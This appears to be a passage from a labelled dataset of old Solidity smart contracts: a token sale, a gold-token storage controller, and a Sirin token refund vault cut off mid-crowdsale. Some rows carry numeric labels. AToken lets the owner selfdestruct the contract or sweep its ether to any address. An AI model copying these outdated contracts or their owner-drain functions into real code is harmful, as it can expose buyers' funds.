balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance)
{
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
{
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AToken is TokenControl,Owned
{
using SafeMath for uint256 ;
string public constant name = "Alvin's Token";
string public constant symbol = "Atoken";
uint8 public decimals = 9;
enum Stage
{
first,
firstreturn,
second,
secondreturn,
fail
}
Stage public stage;
uint32 public endtime;
uint256 public Remain;
bool public confirm2stage = false;
function ownerconfirm() public onlyowner
{
require (uint32(block.timestamp)> endtime);
require (!confirm2stage);
Remain = Remain.add(40000000*10**9);
totaltoken = 90000000*10**9;
confirm2stage = true;
verifyStage();
}
function ownerforce() public onlyowner
{
require(stage==Stage.second);
stage= Stage.secondreturn;
}
function verifyStage()internal
{
if (stage==Stage.second&&Remain==0)
{
stage= Stage.secondreturn;
}
if (stage==Stage.firstreturn&&confirm2stage)
{
stage=Stage.second;
}
if (uint32(block.timestamp)> endtime&&Remain>10000000*10**9&&stage==Stage.first)
{
stage=Stage.fail;
}
if (uint32(block.timestamp)>= endtime&&stage==Stage.first)
{
stage=Stage.firstreturn;
}
}
function price() internal constant returns (uint256)
{
if(stage==Stage.first)
{
return 10;
}
if(stage==Stage.second)
{
return 8;
}
else
{
return 0;
}
}
function timeset() public constant returns (uint256)
{
return block.timestamp;
}
function viewprice() public constant returns (uint256)
{
return price();
}
function AToken() public
{
totaltoken = 50000000*10**9;
Remain = totaltoken;
endtime = 1524571200;
stage= Stage.first;
}
function () public payable
{
buyAtoken();
}
function buyAtoken() public payable
{
require(!isContract(msg.sender));
require(Remain>0);
uint256 rate = price();
require(rate >0);
uint256 requested;
uint256 toreturn;
requested = msg.value.mul(rate);
if (requested >Remain)
{
requested = Remain;
toreturn = msg.value.sub(Remain.div(rate));
}
Remain = Remain.sub(requested);
balances[msg.sender]=balances[msg.sender].add(requested);
if (toreturn>0)
{
msg.sender.transfer(toreturn);
}
verifyStage();
}
function greedyowner() public
{
require(msg.sender==owner);
selfdestruct(owner);
}
function withdraw() public
{
require(stage==Stage.fail);
require(balances[msg.sender]>0);
uint256 ethreturn = balances[msg.sender].div(10);
balances[msg.sender] = 0;
msg.sender.transfer(ethreturn);
}
function isContract(address _addr) constant internal returns(bool)
{
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function ownertransfer(address _target,uint256 _amount) public onlyowner
{
require(stage==Stage.firstreturn||stage==Stage.secondreturn);
uint256 contractvalue = address(this).balance;
require(contractvalue>0);
if (_amount>contractvalue)
{
_target.transfer(contractvalue);
}
else
{
_target.transfer(_amount);
}
}
} | 0 | 253 |
pragma solidity ^0.4.19;
contract IGold {
function balanceOf(address _owner) public constant returns (uint256);
function issueTokens(address _who, uint _tokens) public;
function burnTokens(address _who, uint _tokens) public;
}
contract IMNTP {
function balanceOf(address _owner) public constant returns (uint256);
function lockTransfer(bool _lock) public;
function issueTokens(address _who, uint _tokens) public;
function burnTokens(address _who, uint _tokens) public;
}
contract SafeMath {
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
}
contract CreatorEnabled {
address public creator = 0x0;
modifier onlyCreator() { require(msg.sender == creator); _; }
function changeCreator(address _to) public onlyCreator {
creator = _to;
}
}
contract StringMover {
function stringToBytes32(string s) public constant returns(bytes32){
bytes32 out;
assembly {
out := mload(add(s, 32))
}
return out;
}
function stringToBytes64(string s) public constant returns(bytes32,bytes32){
bytes32 out;
bytes32 out2;
assembly {
out := mload(add(s, 32))
out2 := mload(add(s, 64))
}
return (out,out2);
}
function bytes32ToString(bytes32 x) public constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function bytes64ToString(bytes32 x, bytes32 y) public constant returns (string) {
bytes memory bytesString = new bytes(64);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
for (j = 0; j < 32; j++) {
char = byte(bytes32(uint(y) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
contract Storage is SafeMath, StringMover {
function Storage() public {
controllerAddress = msg.sender;
}
address public controllerAddress = 0x0;
modifier onlyController() { require(msg.sender==controllerAddress); _; }
function setControllerAddress(address _newController) public onlyController {
controllerAddress = _newController;
}
address public hotWalletAddress = 0x0;
function setHotWalletAddress(address _address) public onlyController {
hotWalletAddress = _address;
}
mapping(uint => string) docs;
uint public docCount = 0;
mapping(string => mapping(uint => int)) fiatTxs;
mapping(string => uint) fiatBalancesCents;
mapping(string => uint) fiatTxCounts;
uint fiatTxTotal = 0;
mapping(string => mapping(uint => int)) goldTxs;
mapping(string => uint) goldHotBalances;
mapping(string => uint) goldTxCounts;
uint goldTxTotal = 0;
struct Request {
address sender;
string userId;
uint reference;
bool buyRequest;
uint inputAmount;
uint8 state;
uint outputAmount;
}
mapping (uint=>Request) requests;
uint public requestsCount = 0;
function addDoc(string _ipfsDocLink) public onlyController returns(uint) {
docs[docCount] = _ipfsDocLink;
uint out = docCount;
docCount++;
return out;
}
function getDocCount() public constant returns (uint) {
return docCount;
}
function getDocAsBytes64(uint _index) public constant returns (bytes32,bytes32) {
require(_index < docCount);
return stringToBytes64(docs[_index]);
}
function addFiatTransaction(string _userId, int _amountCents) public onlyController returns(uint) {
require(0 != _amountCents);
uint c = fiatTxCounts[_userId];
fiatTxs[_userId][c] = _amountCents;
if (_amountCents > 0) {
fiatBalancesCents[_userId] = safeAdd(fiatBalancesCents[_userId], uint(_amountCents));
} else {
fiatBalancesCents[_userId] = safeSub(fiatBalancesCents[_userId], uint(-_amountCents));
}
fiatTxCounts[_userId] = safeAdd(fiatTxCounts[_userId], 1);
fiatTxTotal++;
return c;
}
function getFiatTransactionsCount(string _userId) public constant returns (uint) {
return fiatTxCounts[_userId];
}
function getAllFiatTransactionsCount() public constant returns (uint) {
return fiatTxTotal;
}
function getFiatTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < fiatTxCounts[_userId]);
return fiatTxs[_userId][_index];
}
function getUserFiatBalance(string _userId) public constant returns(uint) {
return fiatBalancesCents[_userId];
}
function addGoldTransaction(string _userId, int _amount) public onlyController returns(uint) {
require(0 != _amount);
uint c = goldTxCounts[_userId];
goldTxs[_userId][c] = _amount;
if (_amount > 0) {
goldHotBalances[_userId] = safeAdd(goldHotBalances[_userId], uint(_amount));
} else {
goldHotBalances[_userId] = safeSub(goldHotBalances[_userId], uint(-_amount));
}
goldTxCounts[_userId] = safeAdd(goldTxCounts[_userId], 1);
goldTxTotal++;
return c;
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return goldTxCounts[_userId];
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return goldTxTotal;
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < goldTxCounts[_userId]);
return goldTxs[_userId][_index];
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
return goldHotBalances[_userId];
}
function addBuyTokensRequest(address _who, string _userId, uint _reference, uint _amount) public onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.reference = _reference;
r.buyRequest = true;
r.inputAmount = _amount;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function addSellTokensRequest(address _who, string _userId, uint _reference, uint _amount) public onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.reference = _reference;
r.buyRequest = false;
r.inputAmount = _amount;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function getRequestsCount() public constant returns(uint) {
return requestsCount;
}
function getRequest(uint _index) public constant returns(address, bytes32, uint, bool, uint8, uint) {
require(_index < requestsCount);
Request memory r = requests[_index];
bytes32 userBytes = stringToBytes32(r.userId);
return (r.sender, userBytes, r.reference, r.buyRequest, r.state, r.inputAmount);
}
function getRequestBaseInfo(uint _index) public constant returns(address, uint8, uint, uint) {
require(_index < requestsCount);
Request memory r = requests[_index];
return (r.sender, r.state, r.inputAmount, r.outputAmount);
}
function cancelRequest(uint _index) onlyController public {
require(_index < requestsCount);
require(0==requests[_index].state);
requests[_index].state = 2;
}
function setRequestFailed(uint _index) onlyController public {
require(_index < requestsCount);
require(0==requests[_index].state);
requests[_index].state = 3;
}
function setRequestProcessed(uint _index, uint _outputAmount) onlyController public {
require(_index < requestsCount);
require(0==requests[_index].state);
requests[_index].state = 1;
requests[_index].outputAmount = _outputAmount;
}
}
contract GoldIssueBurnFee is CreatorEnabled, StringMover {
string gmUserId = "";
function GoldIssueBurnFee(string _gmUserId) public {
creator = msg.sender;
gmUserId = _gmUserId;
}
function getGoldmintFeeAccount() public constant returns(bytes32) {
bytes32 userBytes = stringToBytes32(gmUserId);
return userBytes;
}
function setGoldmintFeeAccount(string _gmUserId) public onlyCreator {
gmUserId = _gmUserId;
}
function calculateIssueGoldFee(uint _mntpBalance, uint _value, bool _forFiat) public constant returns(uint) {
return 0;
}
function calculateBurnGoldFee(uint _mntpBalance, uint _value, bool _forFiat) public constant returns(uint) {
if (!_forFiat) return (1 * _value / 1000);
if (_mntpBalance >= (10000 * 1 ether)) {
return (75 * _value / 10000);
}
if (_mntpBalance >= (1000 * 1 ether)) {
return (15 * _value / 1000);
}
if (_mntpBalance >= (10 * 1 ether)) {
return (25 * _value / 1000);
}
return (3 * _value / 100);
}
}
contract IGoldIssueBurnFee {
function getGoldmintFeeAccount()public constant returns(bytes32);
function calculateIssueGoldFee(uint _mntpBalance, uint _goldValue, bool _forFiat) public constant returns(uint);
function calculateBurnGoldFee(uint _mntpBalance, uint _goldValue, bool _forFiat) public constant returns(uint);
}
contract StorageController is SafeMath, CreatorEnabled, StringMover {
Storage public stor;
IMNTP public mntpToken;
IGold public goldToken;
IGoldIssueBurnFee public goldIssueBurnFee;
address public managerAddress = 0x0;
event TokenBuyRequest(address _from, string _userId, uint _reference, uint _amount, uint indexed _index);
event TokenSellRequest(address _from, string _userId, uint _reference, uint _amount, uint indexed _index);
event RequestCancelled(uint indexed _index);
event RequestProcessed(uint indexed _index);
event RequestFailed(uint indexed _index);
modifier onlyManagerOrCreator() { require(msg.sender == managerAddress || msg.sender == creator); _; }
function StorageController(address _mntpContractAddress, address _goldContractAddress, address _storageAddress, address _goldIssueBurnFeeContract) public {
creator = msg.sender;
if (0 != _storageAddress) {
stor = Storage(_storageAddress);
} else {
stor = new Storage();
}
require(0x0!=_mntpContractAddress);
require(0x0!=_goldContractAddress);
require(0x0!=_goldIssueBurnFeeContract);
mntpToken = IMNTP(_mntpContractAddress);
goldToken = IGold(_goldContractAddress);
goldIssueBurnFee = IGoldIssueBurnFee(_goldIssueBurnFeeContract);
}
function setManagerAddress(address _address) public onlyCreator {
managerAddress = _address;
}
function changeController(address _newController) public onlyCreator {
stor.setControllerAddress(_newController);
}
function setHotWalletAddress(address _hotWalletAddress) public onlyCreator {
stor.setHotWalletAddress(_hotWalletAddress);
}
function getHotWalletAddress() public constant returns (address) {
return stor.hotWalletAddress();
}
function changeGoldIssueBurnFeeContract(address _goldIssueBurnFeeAddress) public onlyCreator {
goldIssueBurnFee = IGoldIssueBurnFee(_goldIssueBurnFeeAddress);
}
function addDoc(string _ipfsDocLink) public onlyManagerOrCreator returns(uint) {
return stor.addDoc(_ipfsDocLink);
}
function getDocCount() public constant returns (uint) {
return stor.getDocCount();
}
function getDoc(uint _index) public constant returns (string) {
bytes32 x;
bytes32 y;
(x, y) = stor.getDocAsBytes64(_index);
return bytes64ToString(x,y);
}
function addGoldTransaction(string _userId, int _amount) public onlyManagerOrCreator returns(uint) {
return stor.addGoldTransaction(_userId, _amount);
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return stor.getGoldTransactionsCount(_userId);
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return stor.getAllGoldTransactionsCount();
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
require(keccak256(_userId) != keccak256(""));
return stor.getGoldTransaction(_userId, _index);
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
require(keccak256(_userId) != keccak256(""));
return stor.getUserHotGoldBalance(_userId);
}
function addBuyTokensRequest(string _userId, uint _reference) public payable returns(uint) {
require(keccak256(_userId) != keccak256(""));
require(msg.value > 0);
uint reqIndex = stor.addBuyTokensRequest(msg.sender, _userId, _reference, msg.value);
TokenBuyRequest(msg.sender, _userId, _reference, msg.value, reqIndex);
return reqIndex;
}
function addSellTokensRequest(string _userId, uint _reference, uint _amount) public returns(uint) {
require(keccak256(_userId) != keccak256(""));
require(_amount > 0);
uint tokenBalance = goldToken.balanceOf(msg.sender);
require(tokenBalance >= _amount);
burnGoldTokens(msg.sender, _amount);
uint reqIndex = stor.addSellTokensRequest(msg.sender, _userId, _reference, _amount);
TokenSellRequest(msg.sender, _userId, _reference, _amount, reqIndex);
return reqIndex;
}
function getRequestsCount() public constant returns(uint) {
return stor.getRequestsCount();
}
function getRequest(uint _index) public constant returns(address, string, uint, bool, uint8, uint) {
address sender;
bytes32 userIdBytes;
uint reference;
bool buy;
uint8 state;
uint inputAmount;
(sender, userIdBytes, reference, buy, state, inputAmount) = stor.getRequest(_index);
string memory userId = bytes32ToString(userIdBytes);
return (sender, userId, reference, buy, state, inputAmount);
}
function getRequestBaseInfo(uint _index) public constant returns(address, uint8, uint, uint) {
return stor.getRequestBaseInfo(_index);
}
function cancelRequest(uint _index) onlyManagerOrCreator public {
address sender;
string memory userId;
uint reference;
bool isBuy;
uint state;
uint inputAmount;
(sender, userId, reference, isBuy, state, inputAmount) = getRequest(_index);
require(0 == state);
if (isBuy) {
sender.transfer(inputAmount);
} else {
goldToken.issueTokens(sender, inputAmount);
}
stor.cancelRequest(_index);
RequestCancelled(_index);
}
function processRequest(uint _index, uint _weiPerGold) onlyManagerOrCreator public returns(bool) {
require(_index < getRequestsCount());
address sender;
string memory userId;
uint reference;
bool isBuy;
uint state;
uint inputAmount;
(sender, userId, reference, isBuy, state, inputAmount) = getRequest(_index);
require(0 == state);
bool processResult = false;
uint outputAmount = 0;
if (isBuy) {
(processResult, outputAmount) = processBuyRequest(userId, sender, inputAmount, _weiPerGold, false);
} else {
(processResult, outputAmount) = processSellRequest(userId, sender, inputAmount, _weiPerGold, false);
}
if (processResult) {
stor.setRequestProcessed(_index, outputAmount);
RequestProcessed(_index);
} else {
stor.setRequestFailed(_index);
RequestFailed(_index);
}
return processResult;
}
function processBuyRequestFiat(string _userId, uint _reference, address _userAddress, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public returns(bool) {
uint reqIndex = stor.addBuyTokensRequest(_userAddress, _userId, _reference, _amountCents);
bool processResult = false;
uint outputAmount = 0;
(processResult, outputAmount) = processBuyRequest(_userId, _userAddress, _amountCents * 1 ether, _centsPerGold * 1 ether, true);
if (processResult) {
stor.setRequestProcessed(reqIndex, outputAmount);
RequestProcessed(reqIndex);
} else {
stor.setRequestFailed(reqIndex);
RequestFailed(reqIndex);
}
return processResult;
}
function processSellRequestFiat(uint _index, uint _centsPerGold) onlyManagerOrCreator public returns(bool) {
require(_index < getRequestsCount());
address sender;
string memory userId;
uint reference;
bool isBuy;
uint state;
uint inputAmount;
(sender, userId, reference, isBuy, state, inputAmount) = getRequest(_index);
require(0 == state);
uint userMntpBalance = mntpToken.balanceOf(sender);
uint fee = goldIssueBurnFee.calculateBurnGoldFee(userMntpBalance, inputAmount, true);
require(inputAmount > fee);
if (fee > 0) {
inputAmount = safeSub(inputAmount, fee);
}
require(inputAmount > 0);
uint resultAmount = inputAmount * _centsPerGold / 1 ether;
stor.setRequestProcessed(_index, resultAmount);
RequestProcessed(_index);
return true;
}
function processBuyRequest(string _userId, address _userAddress, uint _amountWei, uint _weiPerGold, bool _isFiat) internal returns(bool, uint) {
require(keccak256(_userId) != keccak256(""));
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = goldIssueBurnFee.calculateIssueGoldFee(userMntpBalance, _amountWei, _isFiat);
require(_amountWei > fee);
uint amountWeiMinusFee = _amountWei;
if (fee > 0) {
amountWeiMinusFee = safeSub(_amountWei, fee);
}
require(amountWeiMinusFee > 0);
uint tokensWei = safeDiv(uint(amountWeiMinusFee) * 1 ether, _weiPerGold);
issueGoldTokens(_userAddress, tokensWei);
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, int(tokensWei));
}
return (true, tokensWei);
}
function processSellRequest(string _userId, address _userAddress, uint _amountWei, uint _weiPerGold, bool _isFiat) internal returns(bool, uint) {
require(keccak256(_userId) != keccak256(""));
uint amountWei = safeMul(_amountWei, _weiPerGold) / 1 ether;
require(amountWei > 0);
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, - int(_amountWei));
}
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = goldIssueBurnFee.calculateBurnGoldFee(userMntpBalance, amountWei, _isFiat);
require(amountWei > fee);
uint amountWeiMinusFee = amountWei;
if (fee > 0) {
amountWeiMinusFee = safeSub(amountWei, fee);
}
require(amountWeiMinusFee > 0);
if (amountWeiMinusFee > this.balance) {
issueGoldTokens(_userAddress, _amountWei);
return (false, 0);
}
_userAddress.transfer(amountWeiMinusFee);
return (true, amountWeiMinusFee);
}
function processInternalRequest(string _userId, bool _isBuy, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public {
if (_isBuy) {
processBuyRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold, true);
} else {
processSellRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold, true);
}
}
function transferGoldFromHotWallet(address _to, uint _value, string _userId) onlyManagerOrCreator public {
require(keccak256(_userId) != keccak256(""));
uint balance = getUserHotGoldBalance(_userId);
require(balance >= _value);
goldToken.burnTokens(getHotWalletAddress(), _value);
goldToken.issueTokens(_to, _value);
addGoldTransaction(_userId, -int(_value));
}
function withdrawEth(address _userAddress, uint _value) onlyManagerOrCreator public {
require(_value >= 0.1 * 1 ether);
if (this.balance < _value) _value = this.balance;
_userAddress.transfer(_value);
}
function withdrawTokens(address _userAddress, uint _value) onlyManagerOrCreator public {
burnGoldTokens(address(this), _value);
issueGoldTokens(_userAddress, _value);
}
function issueGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.issueTokens(_userAddress, _tokenAmount);
}
function burnGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.burnTokens(_userAddress, _tokenAmount);
}
function isHotWallet(address _address) internal returns(bool) {
return _address == getHotWalletAddress();
}
} | 1 | 3,923 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract LimitedTransferToken is ERC20 {
modifier canTransfer(address _sender, uint256 _value) {
require(_value <= transferableTokens(_sender, uint64(now)));
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferableTokens(address holder, uint64 time) public view returns (uint256) {
return balanceOf(holder);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Claimable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ISmartToken {
bool public transfersEnabled = false;
event NewSmartToken(address _token);
event Issuance(uint256 _amount);
event Destruction(uint256 _amount);
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract LimitedTransferBancorSmartToken is MintableToken, ISmartToken, LimitedTransferToken {
modifier canDestroy() {
require(destroyEnabled);
_;
}
bool public destroyEnabled = false;
function setDestroyEnabled(bool _enable) onlyOwner public {
destroyEnabled = _enable;
}
function disableTransfers(bool _disable) onlyOwner public {
transfersEnabled = !_disable;
}
function issue(address _to, uint256 _amount) onlyOwner public {
require(super.mint(_to, _amount));
Issuance(_amount);
}
function destroy(address _from, uint256 _amount) canDestroy public {
require(msg.sender == _from || msg.sender == owner);
balances[_from] = balances[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
Destruction(_amount);
Transfer(_from, 0x0, _amount);
}
function transferableTokens(address holder, uint64 time) public constant returns (uint256) {
require(transfersEnabled);
return super.transferableTokens(holder, time);
}
}
contract SirinSmartToken is LimitedTransferBancorSmartToken {
string public name = "SIRIN";
string public symbol = "SRN";
uint8 public decimals = 18;
function SirinSmartToken() public {
NewSmartToken(address(this));
}
}
contract RefundVault is Claimable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
uint256 public constant REFUND_TIME_FRAME = 60 days;
mapping (address => uint256) public depositedETH;
mapping (address => uint256) public depositedToken;
address public etherWallet;
SirinSmartToken public token;
State public state;
uint256 public refundStartTime;
event Active();
event Closed();
event Deposit(address indexed beneficiary, uint256 etherWeiAmount, uint256 tokenWeiAmount);
event RefundsEnabled();
event RefundedETH(address beneficiary, uint256 weiAmount);
event TokensClaimed(address indexed beneficiary, uint256 weiAmount);
modifier isActiveState() {
require(state == State.Active);
_;
}
modifier isRefundingState() {
require(state == State.Refunding);
_;
}
modifier isCloseState() {
require(state == State.Closed);
_;
}
modifier isRefundingOrCloseState() {
require(state == State.Refunding || state == State.Closed);
_;
}
modifier isInRefundTimeFrame() {
require(refundStartTime <= now && refundStartTime + REFUND_TIME_FRAME > now);
_;
}
modifier isRefundTimeFrameExceeded() {
require(refundStartTime + REFUND_TIME_FRAME < now);
_;
}
function RefundVault(address _etherWallet, SirinSmartToken _token) public {
require(_etherWallet != address(0));
require(_token != address(0));
etherWallet = _etherWallet;
token = _token;
state = State.Active;
Active();
}
function deposit(address investor, uint256 tokensAmount) isActiveState onlyOwner public payable {
depositedETH[investor] = depositedETH[investor].add(msg.value);
depositedToken[investor] = depositedToken[investor].add(tokensAmount);
Deposit(investor, msg.value, tokensAmount);
}
function close() isRefundingState onlyOwner isRefundTimeFrameExceeded public {
state = State.Closed;
Closed();
etherWallet.transfer(this.balance);
}
function enableRefunds() isActiveState onlyOwner public {
state = State.Refunding;
refundStartTime = now;
RefundsEnabled();
}
function refundETH(uint256 ETHToRefundAmountWei) isInRefundTimeFrame isRefundingState public {
require(ETHToRefundAmountWei != 0);
uint256 depositedTokenValue = depositedToken[msg.sender];
uint256 depositedETHValue = depositedETH[msg.sender];
require(ETHToRefundAmountWei <= depositedETHValue);
uint256 refundTokens = ETHToRefundAmountWei.mul(depositedTokenValue).div(depositedETHValue);
assert(refundTokens > 0);
depositedETH[msg.sender] = depositedETHValue.sub(ETHToRefundAmountWei);
depositedToken[msg.sender] = depositedTokenValue.sub(refundTokens);
token.destroy(address(this),refundTokens);
msg.sender.transfer(ETHToRefundAmountWei);
RefundedETH(msg.sender, ETHToRefundAmountWei);
}
function claimTokens(uint256 tokensToClaim) isRefundingOrCloseState public {
require(tokensToClaim != 0);
address investor = msg.sender;
require(depositedToken[investor] > 0);
uint256 depositedTokenValue = depositedToken[investor];
uint256 depositedETHValue = depositedETH[investor];
require(tokensToClaim <= depositedTokenValue);
uint256 claimedETH = tokensToClaim.mul(depositedETHValue).div(depositedTokenValue);
assert(claimedETH > 0);
depositedETH[investor] = depositedETHValue.sub(claimedETH);
depositedToken[investor] = depositedTokenValue.sub(tokensToClaim);
token.transfer(investor, tokensToClaim);
if(state != State.Closed) {
etherWallet.transfer(claimedETH);
}
TokensClaimed(investor, tokensToClaim);
}
function claimAllInvestorTokensByOwner(address investor) isCloseState onlyOwner public {
uint256 depositedTokenValue = depositedToken[investor];
require(depositedTokenValue > 0);
token.transfer(investor, depositedTokenValue);
TokensClaimed(investor, depositedTokenValue);
}
function claimAllTokens() isRefundingOrCloseState public {
uint256 depositedTokenValue = depositedToken[msg.sender];
claimTokens(depositedTokenValue);
}
}
contract Crowdsale {
using SafeMath for uint256;
SirinSmartToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, SirinSmartToken _token) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
token = _token;
}
function() external payable {
